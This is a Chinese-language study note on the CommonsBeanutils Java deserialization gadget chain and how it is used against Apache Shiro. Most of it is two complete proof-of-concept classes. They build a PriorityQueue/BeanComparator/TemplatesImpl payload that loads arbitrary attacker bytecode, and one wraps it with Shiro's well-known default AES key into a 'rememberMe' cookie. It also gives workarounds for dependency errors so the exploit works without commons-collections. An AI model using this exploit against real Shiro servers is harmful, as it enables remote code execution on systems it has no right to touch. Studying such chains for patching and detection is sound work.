CommonsBeanutils

Apache Commons Beanutils 是 Apache Commons中的另一个项目,提供的功能点如下:

  1. 帮助操作JavaBean,如:
    1. org.apache.commons.beanutils.PropertyUtils.getProperty(new Cat(), "name");
    需要理解一下这个操作的细节:
  • 首先获取到字段的名称 name
  • 根据命名规则匹配到 getName()
  • 调用getName
  1. commons-beanutils 中很多这种 辅助方法

那么重点来了, 继续PriorityQueue链子的思路, PriorityQueue#readObject会触发compare.
触发TransletClassLoader#defineClass() [加载任意字节码]的方法中刚好有一个TemplatesImpl#getOutputProperties(). 那么能否在common beanutils 这个包中找到一个Comparator的compare方法可以调用类似 PropertyUtils.getProperty 这种东西呢, 答案是可以. BeanComparator就是这么一个类, 看一下它的compare方法:
image.png
那么这个链子的思路就清晰了, 完整的POC如下:

  1. public class CommonsBeanutils0 {
  2. public static byte[] payload() throws Exception{
  3. ClassPool pool = ClassPool.getDefault();
  4. CtClass ct = pool.get(bad.evilClz.class.getName());
  5. byte[] shellcode = ct.toBytecode();
  6. TemplatesImpl tmpl = new TemplatesImpl();
  7. Reflections.setFieldValue(tmpl,"_bytecodes",new byte[][] {shellcode});
  8. Reflections.setFieldValue(tmpl,"_name","testName");
  9. Reflections.setFieldValue(tmpl,"_tfactory",new TransformerFactoryImpl());
  10. Comparator comparator = new BeanComparator(); // OutputProperties
  11. PriorityQueue pq = new PriorityQueue(100,comparator);
  12. pq.add(1);
  13. pq.add(1);
  14. Reflections.setFieldValue(comparator,"property", "outputProperties");
  15. Reflections.setFieldValue(pq,"queue",new Object[]{tmpl,tmpl});
  16. return Serializer.Serialize(pq);
  17. }
  18. }

调试的时候发现没有org.apache.commons.logging.logfactory这个类, mvn加上依赖就好了:
https://mvnrepository.com/artifact/commons-logging/commons-logging/1.1.1

  1. <!-- https://mvnrepository.com/artifact/commons-logging/commons-logging -->
  2. <dependency>
  3. <groupId>commons-logging</groupId>
  4. <artifactId>commons-logging</artifactId>
  5. <version>1.1.1</version>
  6. </dependency>

CommonsBeanutil打Shiro

Shiro原生依赖中就有CB,所以很方便的可以利用.

可能的坑:

  1. serialVersionUID不一致, 需要CB版本与Shiro一直
  2. 去除CB依赖后直接打会报错: Unable to load class named [org.apache.commons.collections.comparators.ComparableComparator]

image.png
解决?
先看这个类在哪调用了?
image.png
初始化的时候如果没传comparator就会调用, 那传一个就行了. 这个comparator要求如下:

  • 实现 java.util.Comparator 接口
  • 实现 java.io.Serializable 接口
  • jdk自带或者在cb里面

可以找到 java.lang.String.CaseInsensitiveComparator这个类.
image.png
使用String.CASE_INSENSITIVE_ORDER就可以拿到它的实例,修改后的POC如下:

  1. public class CommonsBeanutils0 {
  2. public static byte[] payload() throws Exception{
  3. ClassPool pool = ClassPool.getDefault();
  4. CtClass ct = pool.get(bad.evilClz.class.getName());
  5. byte[] shellcode = ct.toBytecode();
  6. TemplatesImpl tmpl = new TemplatesImpl();
  7. Reflections.setFieldValue(tmpl,"_bytecodes",new byte[][] {shellcode});
  8. Reflections.setFieldValue(tmpl,"_name","testName");
  9. Reflections.setFieldValue(tmpl,"_tfactory",new TransformerFactoryImpl());
  10. Comparator comparator = new BeanComparator(); // OutputProperties
  11. PriorityQueue pq = new PriorityQueue(100,comparator);
  12. pq.add(1);
  13. pq.add(1);
  14. Reflections.setFieldValue(comparator,"property", "outputProperties");
  15. Reflections.setFieldValue(pq,"queue",new Object[]{tmpl,tmpl});
  16. Reflections.setFieldValue(comparator,"comparator",String.CASE_INSENSITIVE_ORDER); // new
  17. return Serializer.Serialize(pq);
  18. }
  19. public static String getShiroPayload() throws Exception{
  20. byte[] payload = payload();
  21. AesCipherService aes = new AesCipherService();
  22. byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
  23. ByteSource ciphertext = aes.encrypt(payload, key);
  24. return "rememberMe="+ ciphertext.toString();
  25. }
  26. }

后续: 也可以用 java.util.Collections$ReverseComparator 来替代.